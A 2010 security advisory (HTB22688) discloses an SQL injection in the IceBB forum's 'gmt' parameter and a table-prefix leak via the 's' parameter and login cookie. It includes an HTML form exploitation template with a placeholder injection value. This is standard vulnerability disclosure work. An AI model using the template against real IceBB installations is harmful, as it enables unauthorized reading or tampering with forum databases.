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SQL injection Vulnerability in IceBB

Advisory ID:HTB22688
Vendor:XAOS Interactive
Vulnerable Versions:1.0-rc10 and probably prior
Tested Version:1.0-rc10
Advisory Publication:November 2, 2010 [without technical details]
Vendor Notification:November 2, 2010
Public Disclosure:November 16, 2010
Vulnerability Type:SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in IceBB which could be exploited to perform SQL injection attacks.

1) The vulnerability exists due to input sanitation errors in the "gmt" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
<form action="http://[host]/index.php" method="post" >
<input type="hidden" name="act" value="login" />
<input type="hidden" name="func" value="Register" />
<input type="hidden" name="terms" value="1" />
<input type="hidden" name="user" value="pentest" />
<input type="hidden" name="pass" value="pentest" />
<input type="hidden" name="pass2" value="pentest" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="captcha_code" value="[captcha_code]" />
<input type="hidden" name="captcha_word" value="[captcha_word]" />
<input type="hidden" name="gmt" value="'SQL_CODE_HERE" />
<input type="submit" value="Register" name="submit" />

Several weaknesses have also been discovered in IceBB while handling incorrect input in the "s" parameter and "icebb_login_key" cookie within the index.php script. A remote attacker can gain knowledge of the table prefixes in the database and use them to successfully exploit this vulnerability.

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Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.

[1] High-Tech Bridge Advisory HTB22688 4 - - SQL injection Vulnerability in IceBB
[2] IceBB - - IceBB is a powerful, fast, free, and open-source forum solution powered by the free PHP and MySQL.
[3] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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